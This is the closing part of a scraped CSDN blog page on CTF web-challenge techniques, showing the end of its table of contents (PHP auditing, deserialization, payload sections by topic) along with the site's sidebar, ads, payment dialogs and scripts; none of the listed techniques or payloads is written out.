href="#t287">HEREDOC</a></li><li><a href="#t288">JSPFUCK</a></li><li><a href="#t289">Web Assembly</a></li><li><a href="#t290">整数溢出</a></li><li><a href="#t291">Hash长度拓展攻击</a></li></ol></li><li><a href="#t292">代码审计(PHP)</a></li><li class="sub-box"><ol><li><a href="#t293">XSS</a></li><li class="sub-box"><ol><li><a href="#t294">print()</a></li><li><a href="#t295">printr()</a></li><li><a href="#t296">echo</a></li><li><a href="#t297">printf()</a></li><li><a href="#t298">sprintf()</a></li><li><a href="#t299">die()</a></li><li><a href="#t300">var_dump()</a></li><li><a href="#t301">var_export()</a></li></ol></li><li><a href="#t302">代码执行</a></li><li class="sub-box"><ol><li><a href="#t303">函数</a></li><li><a href="#t304">过滤与bypass</a></li></ol></li><li><a href="#t305">文件包含</a></li><li class="sub-box"><ol><li><a href="#t306">include()</a></li><li><a href="#t307">include_once()</a></li><li><a href="#t308">require()</a></li><li><a href="#t309">require_once()</a></li></ol></li><li><a href="#t310">文件读取(下载)</a></li><li class="sub-box"><ol><li><a href="#t311">file_get_contents()</a></li><li><a href="#t312">highlight_file()</a></li><li><a href="#t313">fopen()</a></li><li><a href="#t314">readfile()</a></li><li><a href="#t315">fread()</a></li><li><a href="#t316">fgetss()</a></li><li><a href="#t317">fgets()</a></li><li><a href="#t318">parse_ini_file()</a></li><li><a href="#t319">show_source()</a></li><li><a href="#t320">file()</a></li><li><a href="#t321">sort()比较鸡肋</a></li></ol></li><li><a href="#t322">命令执行</a></li><li class="sub-box"><ol><li><a href="#t323">相关函数</a></li><li><a href="#t324">过滤与bypass</a></li></ol></li><li><a href="#t325">文件上传</a></li><li class="sub-box"><ol><li><a href="#t326">move_uploaded_file()</a></li></ol></li><li><a href="#t327">文件删除</a></li><li class="sub-box"><ol><li><a href="#t328">unlink()</a></li><li><a href="#t329">session_destroy()(老版本)</a></li></ol></li><li><a href="#t330">变量覆盖</a></li><li class="sub-box"><ol><li><a href="#t331">extract()</a></li><li><a href="#t332">parse_str</a></li><li><a href="#t333">import_request_variables()</a></li><li><a href="#t334">for each($_GET as
k
e
y
=
>
key=>
key=>value) KaTeX parse error: Expected '}', got 'EOF' at end of input: {key}=$value</a></li><li><a href="#t335">register_globals</a></li></ol></li><li><a href="#t336">弱类型比较</a></li><li class="sub-box"><ol><li><a href="#t337">、=、!==、!=</a></li><li><a href="#t338">is_numeric</a></li><li><a href="#t339">in_array</a></li><li><a href="#t340">弱不相等却md5值相等的情况</a></li></ol></li><li><a href="#t341">PHP黑魔法</a></li><li class="sub-box"><ol><li><a href="#t342">md5</a></li><li><a href="#t343">eval</a></li><li><a href="#t344">ereg</a></li><li><a href="#t345">strcmp</a></li><li><a href="#t346">ascii</a></li><li><a href="#t347">curl_setopt</a></li><li><a href="#t348">preg_replace</a></li><li><a href="#t349">urldecode</a></li><li><a href="#t350">include</a></li><li><a href="#t351">__wakeup</a></li><li><a href="#t352">open_basedir</a></li><li><a href="#t353">in_array()</a></li><li><a href="#t354">spl_autoload_register</a></li><li><a href="#t355">create_function()</a></li><li><a href="#t356">file_get_contents</a></li><li><a href="#t357">mt_rand</a></li><li><a href="#t358">sprintf</a></li><li><a href="#t359">parse_url</a></li><li><a href="#t360">preg_match</a></li><li><a href="#t361">intval</a></li><li><a href="#t362">Session绕过</a></li><li><a href="#t363">file_put_contents</a></li><li><a href="#t364">json_encode/decode</a></li><li><a href="#t365">几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过</a></li><li><a href="#t366">未exit(),return()引发的相关问题</a></li><li><a href="#t367">伪静态绕过</a></li></ol></li><li><a href="#t368">变量特性</a></li><li class="sub-box"><ol><li><a href="#t369">ignore_user_abort</a></li><li><a href="#t370">$_SERVER[‘QUERY_STRING’]</a></li><li><a href="#t371">disable_functions</a></li></ol></li><li><a href="#t372">反序列化漏洞</a></li><li class="sub-box"><ol><li><a href="#t373">对各种魔法函数的理解</a></li><li><a href="#t374">pop链的构造</a></li><li><a href="#t375">phar与反序列化</a></li><li><a href="#t376">由于替换引起的反序列化字符串逃逸</a></li><li><a href="#t377">绕过正则</a></li></ol></li><li><a href="#t378">逻辑漏洞</a></li><li class="sub-box"><ol><li><a href="#t379">用户名和密码分开验证</a></li><li><a href="#t380">下单和扣款的先后顺序</a></li></ol></li><li><a href="#t381">技巧相关</a></li><li class="sub-box"><ol><li><a href="#t382">小型代码</a></li><li><a href="#t383">大型代码</a></li></ol></li></ol></li><li><a href="#t384">脚本编写</a></li><li><a href="#t385">Payloads(实战积累)</a></li><li class="sub-box"><ol><li><a href="#t386">XSS</a></li><li><a href="#t387">SQL注入</a></li><li><a href="#t388">SSTI</a></li><li class="sub-box"><ol><li><a href="#t389">Python</a></li><li><a href="#t390">PHP</a></li><li><a href="#t391">Java</a></li></ol></li><li><a href="#t392">CSRF</a></li><li><a href="#t393">XXE</a></li></ol></li><li><a href="#t394">参考</a></li></ol></div>
</div>
</div>
</div>
</div>
</div>
<div id="recommendAdBox">
<div id="kp_box_479" data-pid="479"><div class="wwads-cn wwads-vertical" data-id="149" style="max-width:300px;margin-top:10px;margin-bottom:10px;background-color: #fff;"></div>
<style>.wwads-img img {width: 150px; margin-top:10px}</style>
<script type="text/javascript" charset="UTF-8" src="https://cdn.wwads.cn/js/makemoney.js" async=""></script><img class="pre-img-lasy" data-src="https://kunyu.csdn.net/1.png?p=479&adId=1049278&adBlockFlag=0&a=1049278&c=0&k=最全CTF Web题思路总结(更新ing)&spm=1001.2101.3001.4834&articleId=122903841&d=1&t=3&u=c2fbfa01bd7942cda36bd7e6cf0d94a6" style="display: block;width: 0px;height: 0px;"></div>
</div>
<div class="aside-box kind_person d-flex flex-column">
<h3 class="aside-title">分类专栏</h3>
<div class="align-items-stretch kindof_item" id="kind_person_column">
<div class="aside-content">
<ul>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_12729310.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_12729310.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="">
实习
</span>
</a>
<span class="special-column-num">1篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11506231.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11506231.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="">
CTF
</span>
</a>
<span class="special-column-num">3篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_12524410.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_12524410.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="">
前端
</span>
</a>
<span class="special-column-num">1篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11555760.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11555760.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20190927151043371.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="">
计基
</span>
</a>
<span class="special-column-num">5篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11608373.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11608373.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20190918140213434.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="">
数据结构和算法
</span>
</a>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11483892.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11483892.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756919.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="">
Java
</span>
</a>
<span class="special-column-num">1篇</span>
</li>
</ul>
</div>
</div>
</div>
</div>
</aside>
</div>
</div>
<div class="mask-dark"></div>
<script type="text/javascript">
var timert = setInterval(function() {
sideToolbar = $(".csdn-side-toolbar");
if (sideToolbar.length > 0) {
sideToolbar.css('cssText', 'bottom:64px !important;')
clearInterval(timert);
}
}, 200);
</script>
<div class="skin-boxshadow"></div>
<div class="directory-boxshadow"></div>
<div class="comment-side-box-shadow comment-side-tit-close" id="commentSideBoxshadow">
<div class="comment-side-content">
<div class="comment-side-tit">
<div class="comment-side-tit-count">评论 <span class="count">4</span></div>
<img class="comment-side-tit-close" src="https://csdnimg.cn/release/blogv2/dist/pc/img/closeBt.png"></div>
<div id="pcCommentSideBox" class="comment-box comment-box-new2 unlogin-comment-box-new" style="display:none">
</div>
<div id="pcFlodCommentSideBox" class="pc-flodcomment-sidebox">
<div class="comment-fold-tit"><span id="lookUnFlodComment" class="back"><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentArrowLeftWhite.png" alt=""></span>被折叠的 <span class="count"></span> 条评论
<a href="https://blogdev.blog.csdn.net/article/details/122245662" class="tip" target="_blank">为什么被折叠?</a>
<a href="https://bbs.csdn.net/forums/FreeZone" class="park" target="_blank">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/iconPark.png">到【灌水乐园】发言</a>
</div>
<div class="comment-fold-content"></div>
<div id="lookBadComment" class="look-bad-comment side-look-comment">
<a class="look-more-comment">查看更多评论<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentArrowDownWhite.png" alt=""></a>
</div>
</div>
</div>
<div class="comment-rewarddialog-box">
<div class="form-box">
<div class="title-box">
添加红包
<a class="btn-form-close"></a>
</div>
<form id="commentRewardForm">
<div class="ipt-box">
<label for="txtName">祝福语</label>
<div class="ipt-btn-box">
<input type="text" name="name" id="txtName" autocomplete="off" maxlength="50">
<a class="btn-ipt btn-random"></a>
</div>
<p class="notice">请填写红包祝福语或标题</p>
</div>
<div class="ipt-box">
<label for="txtSendAmount">红包数量</label>
<div class="ipt-txt-box">
<input type="text" name="sendAmount" maxlength="4" id="txtSendAmount" placeholder="请填写红包数量(最小10个)" autocomplete="off">
<span class="after-txt">个</span>
</div>
<p class="notice">红包个数最小为10个</p>
</div>
<div class="ipt-box">
<label for="txtMoney">红包总金额</label>
<div class="ipt-txt-box error">
<input type="text" name="money" maxlength="5" id="txtMoney" placeholder="请填写总金额(最低5元)" autocomplete="off">
<span class="after-txt">元</span>
</div>
<p class="notice">红包金额最低5元</p>
</div>
<div class="balance-info-box">
<label>余额支付</label>
<div class="balance-info">
当前余额<span class="balance">3.43</span>元
<a href="https://i.csdn.net/#/wallet/balance/recharge" class="link-charge" target="_blank">前往充值 ></a>
</div>
</div>
<div class="opt-box">
<div class="pay-info">
需支付:<span class="price">10.00</span>元
</div>
<button type="button" class="ml-auto btn-cancel">取消</button>
<button type="button" class="ml8 btn-submit" disabled="true">确定</button>
</div>
</form>
</div>
</div>
</div><ins class="adsbygoogle adsbygoogle-noablate" data-adsbygoogle-status="done" style="display: none !important;"><div id="aswift_0_host" style="border: none; height: 0px; width: 0px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins>
<div class="redEnvolope" id="redEnvolope">
<div class="env-box">
<div class="env-container">
<div class="pre-open" id="preOpen">
<div class="top" style="background-image: url("https://img-home.csdnimg.cn/images/20230131025150.png");">
<header>
<img class="clearTpaErr" :src="redpacketAuthor.avatar" alt="">
<div class="author">成就一亿技术人!</div>
</header>
<div class="bot-icon"></div>
</div>
<footer style="background-image: url("https://img-home.csdnimg.cn/images/20230131025228.png");">
<div class="red-openbtn open-start" style="background-image: url("https://img-home.csdnimg.cn/images/20230131025209.png");"></div>
<div class="tip">
领取后你会自动成为博主和红包主的粉丝
<a class="rule" target="_blank" href="https://blogdev.blog.csdn.net/article/details/128932621">规则</a>
</div>
</footer>
</div>
<div class="opened" id="opened">
<div class="bot-icon">
<header>
<a class="creatorUrl" href="" target="_blank">
<img class="clearTpaErr" src="https://profile-avatar.csdnimg.cn/default.jpg!2" alt="">
</a>
<div class="author">
<div class="tt">hope_wisdom</div> 发出的红包
</div>
</header>
</div>
<div class="receive-box">
<header></header>
<div class="receive-list">
</div>
</div>
</div>
</div>
<div class="close-btn"></div>
</div>
</div>
<div id="rewardNew" class="reward-popupbox-new">
<p class="rewad-title">打赏作者<span class="reward-close"><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/closeBt.png"></span></p>
<dl class="profile-box">
<dd>
<a href="https://blog.csdn.net/yjprolus" data-report-click="{"mod":"popu_379","dest":"https://blog.csdn.net/yjprolus","ab":"new"}">
<img src="https://profile-avatar.csdnimg.cn/5e28ec52bc45424f8763db50bc3115af_yjprolus.jpg!1" class="avatar_pic">
</a>
</dd>
<dt>
<p class="blog-name">yjprolus</p>
<p class="blog-discript">你的鼓励将是我创作的最大动力</p>
</dt>
</dl>
<div class="reward-box-new">
<div class="reward-content"><div class="reward-right"></div></div>
</div>
<div class="money-box">
<span class="choose-money choosed" data-id="1">¥1</span>
<span class="choose-money " data-id="2">¥2</span>
<span class="choose-money " data-id="4">¥4</span>
<span class="choose-money " data-id="6">¥6</span>
<span class="choose-money " data-id="10">¥10</span>
<span class="choose-money " data-id="20">¥20</span>
</div>
<div class="sure-box">
<div class="sure-box-money">
<div class="code-box">
<div class="code-num-box">
<span class="code-name">扫码支付:</span><span class="code-num">¥1</span>
</div>
<div class="code-img-box">
<div class="renovate">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/pay-time-out.png">
<span>获取中</span>
</div>
</div>
<div class="code-pay-box">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/newWeiXin.png" alt="">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/newZhiFuBao.png" alt="">
<span>扫码支付</span>
</div>
</div>
</div>
<div class="sure-box-blance">
<p class="tip">您的余额不足,请更换扫码支付或<a target="_blank" data-report-click="{"mod":"1597646289_003","spm":"1001.2101.3001.4302"}" href="https://i.csdn.net/#/wallet/balance/recharge?utm_source=RewardVip" class="go-invest">充值</a></p>
<p class="is-have-money"><a class="reward-sure">打赏作者</a></p>
</div>
</div>
</div>
<div class="pay-code">
<div class="pay-money">实付<span class="pay-money-span" data-nowprice="" data-oldprice="">元</span></div>
<div class="content-blance"><a class="blance-bt" href="javascript:;">使用余额支付</a></div>
<div class="content-code">
<div id="payCode" data-id="">
<div class="renovate">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/pay-time-out.png">
<span>点击重新获取</span>
</div>
</div>
<div class="pay-style"><span><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/weixin.png"></span><span><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/zhifubao.png"></span><span><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/jingdong.png"></span><span class="text">扫码支付</span></div>
</div>
<div class="bt-close">
<svg t="1567152543821" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="10924" xmlns:xlink="http://www.w3.org/1999/xlink" width="12" height="12">
<defs>
<style type="text/css"></style>
</defs>
<path d="M512 438.378667L806.506667 143.893333a52.032 52.032 0 1 1 73.6 73.621334L585.621333 512l294.485334 294.485333a52.074667 52.074667 0 0 1-73.6 73.642667L512 585.621333 217.514667 880.128a52.053333 52.053333 0 1 1-73.621334-73.642667L438.378667 512 143.893333 217.514667a52.053333 52.053333 0 1 1 73.621334-73.621334L512 438.378667z" fill="" p-id="10925"></path>
</svg>
</div>
<div class="pay-balance">
<input type="radio" class="pay-code-radio" data-type="details">
<span class="span">钱包余额</span>
<span class="balance" style="color:#FC5531;font-size:14px;">0</span>
<div class="pay-code-tile">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/pay-help.png" alt="">
<div class="pay-code-content">
<div class="span">
<p class="title">抵扣说明:</p>
<p> 1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。<br> 2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。</p>
</div>
</div>
</div>
</div>
<a class="pay-balance-con" href="https://i.csdn.net/#/wallet/balance/recharge" target="_blank"><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/recharge.png" alt=""><span>余额充值</span></a>
</div>
<div style="display:none;">
<img src="" onerror="setTimeout(function(){if(!/(csdn.net|iteye.com|baiducontent.com|googleusercontent.com|360webcache.com|sogoucdn.com|bingj.com|baidu.com)$/.test(window.location.hostname)){window.location.href="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x64\x6e\x2e\x6e\x65\x74"}},3000);">
</div>
<div class="keyword-dec-box" id="keywordDecBox"></div>
<script src="https://csdnimg.cn/release/blogv2/dist/components/js/axios-83fa28cedf.min.js" type="text/javascript"></script>
<script src="https://csdnimg.cn/release/blogv2/dist/components/js/pc_wap_highlight-8defd55d6e.min.js" type="text/javascript"></script>
<script src="https://csdnimg.cn/release/blogv2/dist/components/js/pc_wap_common-3b5f0393dc.min.js" type="text/javascript"></script>
<script src="https://csdnimg.cn/release/blogv2/dist/components/js/edit_copy_code-3d1af13f20.min.js" type="text/javascript"></script>
<script src="https://g.csdnimg.cn/lib/cboxEditor/1.1.6/embed-editor.min.js" type="text/javascript"></script>
<link rel="stylesheet" href="https://g.csdnimg.cn/lib/cboxEditor/1.1.6/embed-editor.min.css">
<link rel="stylesheet" href="https://csdnimg.cn/release/blog_editor_html/release1.6.12/ckeditor/plugins/codesnippet/lib/highlight/styles/atom-one-light.css">
<script src="https://g.csdnimg.cn/user-accusation/1.0.6/user-accusation.js" type="text/javascript"></script>
<script>
// 全局声明
if (window.csdn === undefined) {
window.csdn = {};
}
var sideToolbarOpt = {
report: {
isShow: true,
},
qr: {
isShow: false,
},
guide: {
isShow: true
}
}
$(function() {
$(document).on('click', "a.option-box[data-type='report']", function() {
window.csdn.loginBox.key({
biz: 'blog',
subBiz: 'other_service',
cb: function() {
window.csdn.feedback({
"type": 'blog',
"rtype": 'article',
"rid": articleId,
"reportedName": username,
"submitOptions": {
"title": articleTitle,
"contentUrl": articleDetailUrl
},
"callback": function() {
showToast({
text: "感谢您的举报,我们会尽快审核!",
bottom: '10%',
zindex: 9000,
speed: 500,
time: 1500
})
}
})
}
})
});
})
window.csdn.sideToolbar = {
options: {
...sideToolbarOpt,
theme: 'white',
}
}
</script>
<script src="https://g.csdnimg.cn/baidu-search/1.0.12/baidu-search.js" type="text/javascript"></script>
<script src="https://csdnimg.cn/release/download/old_static/js/qrcode.js"></script>
<script src="https://g.csdnimg.cn/lib/qrcode/1.0.0/qrcode.min.js"></script>
<script src="https://g.csdnimg.cn/user-ordercart/3.0.1/user-ordercart.js" type="text/javascript"></script>
<script src="https://g.csdnimg.cn/user-ordertip/5.0.3/user-ordertip.js" type="text/javascript"></script>
<script src="https://g.csdnimg.cn/order-payment/4.0.5/order-payment.js" type="text/javascript"></script>
<script src="https://csdnimg.cn/release/blogv2/dist/pc/js/common-8344665efd.min.js" type="text/javascript"></script>
<script src="https://csdnimg.cn/release/blogv2/dist/pc/js/detail-4c7850e5f1.min.js" type="text/javascript"></script><div id="c_chat" data-v-app=""><div id="chat-pro" class="chat-wrapper simple" title="AI学习助手" darkmode="false" simplemode="true"><!----><!----><div class="el-overlay chat-drawer" style="z-index: 2001; display: none;"><div aria-modal="true" aria-labelledby="el-id-9924-0" aria-describedby="el-id-9924-1" class="chat-drawer el-drawer rtl" role="dialog" style="width: 65%;"><span class="el-drawer__sr-focus" tabindex="-1"></span><!--v-if--><!--v-if--><!--v-if--></div></div></div></div>
<script src="https://csdnimg.cn/release/blogv2/dist/pc/js/column-1dae17f1f8.min.js" type="text/javascript"></script>
<script src="https://g.csdnimg.cn/side-toolbar/3.5/side-toolbar.js" type="text/javascript"></script>
<script src="https://g.csdnimg.cn/copyright/1.0.4/copyright.js" type="text/javascript"></script>
<script>
$(".MathJax").remove();
if ($('div.markdown_views pre.prettyprint code.hljs').length > 0) {
$('div.markdown_views')[0].className = 'markdown_views';
}
</script>
<script type="text/javascript" src="https://csdnimg.cn/release/blog_mathjax/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<iframe name="googlefcPresent" style="display: none; width: 0px; height: 0px; border: none; z-index: -1000; left: -1000px; top: -1000px;"></iframe><script type="text/x-mathjax-config;executed=true">
MathJax.Hub.Config({
"HTML-CSS": {
linebreaks: { automatic: true, width: "94%container" },
imageFont: null
},
tex2jax: {
preview: "none",
ignoreClass:"title-article"
},
mml2jax: {
preview: 'none'
}
});
</script>
<script type="text/javascript" crossorigin="" src="https://g.csdnimg.cn/common/csdn-login-box/csdn-login-box.js"></script><div id="pointDivs"><div class="point-outer point-pre"><div class="point-inner"></div></div><div class="point-outer point-pre"><div class="point-inner"></div></div><div class="point-outer point-pre"><div class="point-inner"></div></div><div class="point-outer point-pre"><div class="point-inner"></div></div><div class="point-outer point-pre"><div class="point-inner"></div></div></div><div id="st_mask" onclick="closeMask()" style="width: 100%; height: 100%; background: rgba(0, 0, 0, 0.4); position: fixed; left: 0px; top: 0px; display: none; z-index: 1;"></div><div id="st_confirmBox" style="width: 360px; position: fixed; text-align: left; display: none; z-index: 100; inset: 0px; height: 208px; margin: auto;"><div id="st_confirm" style="background: rgb(255, 255, 255); border-radius: 4px; overflow: hidden; padding: 24px; width: 360px; height: 208px;"><span id="st_confirm_tit" style="width: 100%; max-height: 24px; font-size: 18px; font-weight: 500; color: rgb(34, 34, 38); line-height: 24px; text-align: left; display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;"></span><span id="st_confirm_text" style="text-align: left; height: 44px; font-size: 14px; font-weight: 400; color: rgb(85, 86, 102); line-height: 22px; overflow: hidden; display: -webkit-box; -webkit-box-orient: vertical; text-overflow: ellipsis; -webkit-line-clamp: 2; margin-top: 16px; margin-bottom: 40px;"></span><span class="st_confirm_btn success" style="background: rgb(252, 85, 51); color: rgb(255, 255, 255); text-align: center; display: block; width: 88px; height: 36px; line-height: 36px; margin-left: 16px; float: right; border-radius: 18px;">确定</span><span class="st_confirm_btn cancel" style="color: rgb(34, 34, 38); text-align: center; display: block; width: 88px; height: 36px; line-height: 36px; margin-left: 16px; float: right; box-sizing: border-box; border: 1px solid rgb(204, 204, 216); border-radius: 18px;">取消</span><span id="st_confirm_close" style="display: block; width: 12px; height: 12px; position: absolute; text-align: center; z-index: 100; top: 24px; right: 24px;"><img src="https://csdnimg.cn/release/blogv2/dist/pc/img/closeBt.png" style="display: block; width: 12px; height: 12px;"></span><div style="clear: both; display: block;"></div></div></div><div id="st_alertBox" style="width: 100%; position: fixed; left: 0px; top: 34%; text-align: center; display: none; z-index: 2;"><div id="st_alert" style="width: 80%; margin: 0px auto; background: rgb(255, 255, 255); border-radius: 2px; overflow: hidden; padding-top: 20px; text-align: center;"><span id="st_alert_text" style="background: rgb(255, 255, 255); overflow: hidden; padding: 15px 8px 30px; text-align: center; display: block;"></span><span id="st_alert_btn" onclick="closeMask()" style="background: rgb(27, 121, 248); color: rgb(255, 255, 255); padding: 8px; text-align: center; display: block; width: 72%; margin: 0px auto 20px; border-radius: 2px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;"></span></div></div><div id="st_toastBox" style="width: 100%; position: fixed; left: 0px; bottom: 10%; text-align: center; display: none;"><span id="st_toastContent" style="color: rgb(255, 255, 255); background: rgba(0, 0, 0, 0.8); padding: 8px 24px; border-radius: 4px; max-width: 80%; display: inline-block; font-size: 16px;"></span></div> <div class="report-box"> <div class="pos-boxer"> <div class="pos-content"> <div class="box-title"> <p>举报</p> <img class="icon btn-close" src="https://csdnimg.cn/release/blogv2/dist/pc/img/closeBlack.png"> </div> <div class="box-header"> <div class="box-top"><span>选择你想要举报的内容(必选)</span></div> <div class="box-botoom"> <ul> <li data="1" type="nei">内容涉黄</li> <li data="2" type="nei">政治相关</li> <li data="3" type="nei">内容抄袭</li> <li data="4" type="nei">涉嫌广告</li> <li data="5" type="nei">内容侵权</li> <li data="6" type="nei">侮辱谩骂</li> <li data="8" type="nei">样式问题</li> <li data="7" type="nei">其他</li> </ul> </div> </div> <div> <div class="box-content"> </div> <div class="box-content"> </div> <div class="box-content" style="display:none;"> <div class="box-content-top"> <span>原文链接(必填)</span> </div> <div class="box-content-bottom" style="padding-bottom: 16px;"> <div class="box-input" style="height: 32px;line-height: 32px;"> <input class="content-input" type="text" id="originalurl" name="originalurl" placeholder="请输入被侵权原文链接"> </div> </div> </div> <div class="box-content"> </div> <div class="box-content" style="display:none;"> <div class="box-content-top"> <span>请选择具体原因(必选)</span> </div> <div class="box-content-bottom"> <ul> <li sub_type="1">包含不实信息</li> <li sub_type="2">涉及个人隐私</li> </ul> </div> </div> <div class="box-content" style="display:none;"> <div class="box-content-top"> <span>请选择具体原因(必选)</span> </div> <div class="box-content-bottom"> <ul> <li sub_type="1">侮辱谩骂</li> <li sub_type="2">诽谤</li> </ul> </div> </div> <div class="box-content" style="display:none;"> <div class="box-content-top"> <span>请选择具体原因(必选)</span> </div> <div class="box-content-bottom"> <ul> <li sub_type="1">搬家样式</li> <li sub_type="2">博文样式</li> </ul> </div> </div> <div class="box-content" style="display:none;"> </div> </div> <div id="cllcont" style="display:none;"> <div class="box-content-top"> <span class="box-content-span">补充说明(选填)</span> </div> <div class="box-content-bottom"> <div class="box-input"> <textarea class="ipt ipt-textarea" style="padding:0;" name="description" placeholder="请详细描述您的举报内容"></textarea> </div> </div> </div> </div> <div class="pos-footer"> <p class="btn-close">取消</p> <p class="box-active">确定</p> </div> </div></div><svg aria-hidden="true" style="position: absolute; width: 0px; height: 0px; overflow: hidden;"><symbol id="sousuo" viewBox="0 0 1024 1024"><path d="M719.6779726 653.55865555l0.71080936 0.70145709 191.77828505 191.77828506c18.25658185 18.25658185 18.25658185 47.86273439 0 66.12399318-18.26593493 18.26125798-47.87208744 18.26125798-66.13334544 0l-191.77828505-191.77828506c-0.2338193-0.2338193-0.4676378-0.4676378-0.69678097-0.71081014-58.13206223 44.25257003-130.69075187 70.51978897-209.38952657 70.51978894C253.06424184 790.19776156 98.14049639 635.27869225 98.14049639 444.17380511S253.06424184 98.14049639 444.16912898 98.14049639c191.10488633 0 346.02863258 154.92374545 346.02863259 346.02863259 0 78.6987747-26.27189505 151.25746514-70.51978897 209.38952657z m-275.50884362 43.11621045c139.45428506 0 252.50573702-113.05145197 252.50573702-252.50573702s-113.05145197-252.50573702-252.50573702-252.50573783-252.50573702 113.05145197-252.50573783 252.50573783 113.05145197 252.50573702 252.50573783 252.50573702z"></path></symbol><symbol id="gonggong_csdnlogo_" viewBox="0 0 4096 1024"><path d="M1234.16069807 690.46341551c62.96962316 23.02318413 194.30703694 45.91141406 300.51598128 45.91141406 114.44114969 0 178.13952547-31.68724287 183.2407937-80.86454822 4.642424-44.8587714-42.21366937-50.93170978-171.44579784-81.53931916-178.57137886-43.77913792-292.49970264-111.55313011-281.32549604-219.86735976 12.9825927-125.75031047 181.27046257-220.78504823 439.49180199-220.78504822 125.88526465 0 247.93783044 8.87998544 311.17736197 29.60894839l-21.7006331 158.57116851c-41.05306337-14.27815288-198.1937175-34.11641822-304.48363435-34.11641822-107.7744129 0-163.56447339 33.90049151-167.42416309 71.06687432-4.85835069 47.04502922 51.14763648 49.23128703 191.14910897 86.50563321 189.58364043 48.09767188 272.47250144 115.81768239 261.6221849 220.81203906-12.71268432 123.51007099-164.13128096 228.53141851-466.48263918 228.53141851-125.85827383 0-234.33444849-22.96920244-294.09216204-45.93840492l19.730302-157.86940672zM3010.8325562 172.75216735c688.40130256-129.79893606 747.80813523 103.42888812 726.53935551 309.80082928l-40.08139323 381.78539207h-218.51781789l36.57258439-348.20879061c7.90831529-76.68096846 57.13960232-226.66905073-180.54170997-221.05495659-82.26807176 1.99732195-123.05122675 13.2794919-123.05122677 13.27949188s-7.15257186 92.65954408-15.81663059 161.13529804l-41.43093509 394.84895728h-214.3072473l42.53755943-389.15389062 28.09746151-302.43233073z m-869.48282929-18.05687008c49.12332368-5.34418577 124.58970448-10.76934404 228.45044598-10.76934405 173.38913812 0 313.57954648 30.17575597 400.38207891 93.63121421 77.94953781 59.16391512 129.82592689 154.95439631 115.4668015 293.74128117-13.25250106 129.15115596-80.405704 